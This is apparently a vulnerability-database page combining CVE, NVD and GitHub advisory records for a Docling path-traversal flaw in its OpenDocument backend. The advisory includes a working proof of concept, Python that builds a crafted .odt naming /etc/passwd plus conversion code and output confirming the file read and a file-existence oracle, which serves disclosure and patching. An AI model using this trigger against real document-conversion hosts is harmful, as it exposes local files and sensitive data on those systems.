Vulnerability-Lookup

CVE-2026-105751 (GCVE-0-2026-105751)

Vulnerability from cvelistv5 – Published: 2026-10-05 21:40 – Updated: 2026-10-06 16:36

Title

Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend

Summary

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 16:32 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/docling-project/docling/securi…	x_refsource_CONFIRM
https://github.com/docling-project/docling/pull/4015	x_refsource_MISC
https://github.com/docling-project/docling/commit…	x_refsource_MISC
https://github.com/docling-project/docling/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
docling-project	docling	Affected: >= 2.107.0, < 2.120.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-105751",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-06T16:32:19.946260Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-06T16:36:34.080Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "docling",
          "vendor": "docling-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.107.0, \u003c 2.120.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-05T21:40:45.997Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
        },
        {
          "name": "https://github.com/docling-project/docling/pull/4015",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/docling-project/docling/pull/4015"
        },
        {
          "name": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
        },
        {
          "name": "https://github.com/docling-project/docling/releases/tag/v2.120.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
        }
      ],
      "source": {
        "advisory": "GHSA-4xhp-xg4w-8ppm",
        "discovery": "UNKNOWN"
      },
      "title": "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-105751",
    "datePublished": "2026-10-05T21:40:45.997Z",
    "dateReserved": "2026-10-05T19:11:07.947Z",
    "dateUpdated": "2026-10-06T16:36:34.080Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-105751",
      "date": "2026-10-06",
      "epss": "0.00366",
      "percentile": "0.28293"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "docling",
                "vendor": "docling-project",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.107.0, \u003c 2.120.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3."
          }
        ],
        "id": "CVE-2026-105751",
        "lastModified": "2026-10-06T17:17:19.053",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "NONE",
                "userInteraction": "ACTIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-105751",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-06T16:32:19.946260Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-05T22:16:58.253",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/docling-project/docling/pull/4015"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Undergoing Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Low",
      "current_release_date": "2026-10-06T00:12:51+00:00",
      "cve": "CVE-2026-105751",
      "id": "CVE-2026-105751",
      "initial_release_date": "2026-10-05T21:40:45.997000+00:00",
      "product_status:known_affected": "7",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "docling: docling: Information disclosure via crafted OpenDocument image reference",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-105751.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-105751",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-06T16:32:19.946260Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-06T16:34:39.341Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "docling",
              "vendor": "docling-project",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.107.0, \u003c 2.120.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "NONE",
                "userInteraction": "ACTIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-05T21:40:45.997Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
            },
            {
              "name": "https://github.com/docling-project/docling/pull/4015",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/docling-project/docling/pull/4015"
            },
            {
              "name": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
            },
            {
              "name": "https://github.com/docling-project/docling/releases/tag/v2.120.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
            }
          ],
          "source": {
            "advisory": "GHSA-4xhp-xg4w-8ppm",
            "discovery": "UNKNOWN"
          },
          "title": "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-105751",
        "datePublished": "2026-10-05T21:40:45.997Z",
        "dateReserved": "2026-10-05T19:11:07.947Z",
        "dateUpdated": "2026-10-06T16:36:34.080Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-105751

Vulnerability from fkie_nvd - Published: 2026-10-05 22:16 - Updated: 2026-10-06 14:59

Severity

6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311
	security-advisories@github.com	https://github.com/docling-project/docling/pull/4015
	security-advisories@github.com	https://github.com/docling-project/docling/releases/tag/v2.120.3
	security-advisories@github.com	https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "docling",
          "vendor": "docling-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.107.0, \u003c 2.120.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3."
    }
  ],
  "id": "CVE-2026-105751",
  "lastModified": "2026-10-06T14:59:48.280",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "NONE",
          "userInteraction": "ACTIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-05T22:16:58.253",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/docling-project/docling/pull/4015"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-4XHP-XG4W-8PPM

Vulnerability from github – Published: 2026-10-05 22:33 – Updated: 2026-10-05 22:33

Summary

Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend

Details

Summary

The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from content.xml, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch controls that the other backends use for exactly this decision.

Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.

Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries.

Affected component

docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:

image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
    try:
        image_data = odf_obj.get_part(image_url)
    except Exception:
        image_data = None

if image_data is None and image_url:
    image_path = Path(image_url)
    if image_path.is_file():
        image_data = image_path.read_bytes()

_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to Path and read from disk.

The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.

The backend does not use the project's own fetch controls

$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
      docling/backend/opendocument_backend.py
$

Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through docling/backend/utils/image_resource_loader.py, where enable_local_fetch and enable_remote_fetch both default to False. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path.

That is the substance of the report: the control exists, it is off by default, and this backend does not reach it.

Affected versions

Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0.

Affected: docling >= 2.107.0, up to and including 2.117.0 and current main (52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).

Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address unrelated defects and leave the path resolution unchanged.

Reproduced on two independent machines:


Python 3.12.3	`docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1
Python 3.14.4	same releases, and again against `main` clones on `sys.path`

Proof of concept

Trigger

An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.

import zipfile

CONTENT = (
    '<?xml version="1.0"?><office:document-content '
    'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
    'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
    'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
    'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
    '<office:body><office:text><text:p>'
    '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
    '</text:p></office:text></office:body></office:document-content>'
)

def build(path, href):
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_STORED
        z.writestr(zi, "application/vnd.oasis.opendocument.text")
        zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_DEFLATED
        z.writestr(zi, CONTENT.format(href=href))

build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")

With the fixed archive timestamp above the artifacts are byte-reproducible:

File	Bytes	sha256
`odt_etc_passwd.odt`	452	`edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634`
`odt_control.odt`	458	`da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6`

Without the fixed timestamp the archive size varies by a few bytes with the length of the href string, which is the only part that changes.

Conversion — public API, default install, no options set

from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode

doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))

The read itself is observed with sys.addaudithook, which records every open without modifying Docling or any dependency.

A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions.

Output — disclosure

python        3.14.4
docling       /home/asus/CVE/docling/docling/__init__.py
canary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)
trigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)

file opened outside document : True  ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html     : True
contents present in markdown : True
contents present in json     : True

control (in-archive href)    : disclosed=False
determinism                  : 10/10

----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------

The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly.

The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour.

Output — read of a non-image path

The read happens before any decoding is attempted, so it is not confined to image files.

/etc/passwd                  status=success  opened=['/etc/passwd']
/etc/does_not_exist_9c1f     status=success  opened=[]

Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths.

Impact

Confirmed by execution, default install, no options set:

Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for /etc/passwd and for paths with no extension.
Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way.
Full content disclosure. Where the target decodes as an image, its bytes are embedded in the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight.

Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is an accepted input format there, json is an accepted output format, and the service defaults to binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.107.0"
            },
            {
              "fixed": "2.120.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:33:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n \nThe ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever\nthe referenced part is not found inside the document archive. The value comes straight from\n`content.xml`, so it is document content, and it is used with no scheme check, no confinement to\nthe extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch`\ncontrols that the other backends use for exactly this decision.\n \nConverting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on\nthe converting host. Where the target decodes as an image, its complete contents are embedded in\nthe resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports.\n \nBoth the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive\ncontaining two entries.\n \n## Affected component\n \n`docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`:\n \n```python\nimage_url = _odf_image_href(image)\n...\nif image_data is None and odf_obj is not None and image_url:\n    try:\n        image_data = odf_obj.get_part(image_url)\n    except Exception:\n        image_data = None\n \nif image_data is None and image_url:\n    image_path = Path(image_url)\n    if image_path.is_file():\n        image_data = image_path.read_bytes()\n```\n \n`_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first;\nwhen it fails, the same string is handed to `Path` and read from disk.\n \nThe only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is\none of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, **or empty**. The\nempty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them.\n \n### The backend does not use the project\u0027s own fetch controls\n \n```\n$ grep -n \"enable_local_fetch\\|enable_remote_fetch\\|image_resource_loader\" \\\n      docling/backend/opendocument_backend.py\n$\n```\n \nNothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through\n`docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and\n`enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does\nnot consult either, so the default of not fetching local resources is not applied on this path.\n \nThat is the substance of the report: the control exists, it is off by default, and this backend\ndoes not reach it.\n \n## Affected versions\n \nIntroduced by commit `e2afe381`, \"feat: Add OpenDocument backend support and improve ODF\nimage/table handling\" (#3480), 2026-06-24. First released in **v2.107.0**.\n \n**Affected: `docling` \u003e= 2.107.0, up to and including 2.117.0 and current `main`\n(`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).**\n \nSubsequent commits touching this file \u2014 `2c3e55b3` (skip a `draw:object` with a missing embedded\npart), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) \u2014 address\nunrelated defects and leave the path resolution unchanged.\n \nReproduced on two independent machines:\n \n| | |\n|---|---|\n| Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 |\n| Python 3.14.4 | same releases, and again against `main` clones on `sys.path` |\n \n## Proof of concept\n \n### Trigger\n \nAn `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part.\n \n```python\nimport zipfile\n \nCONTENT = (\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003coffice:document-content \u0027\n    \u0027xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" \u0027\n    \u0027xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\" \u0027\n    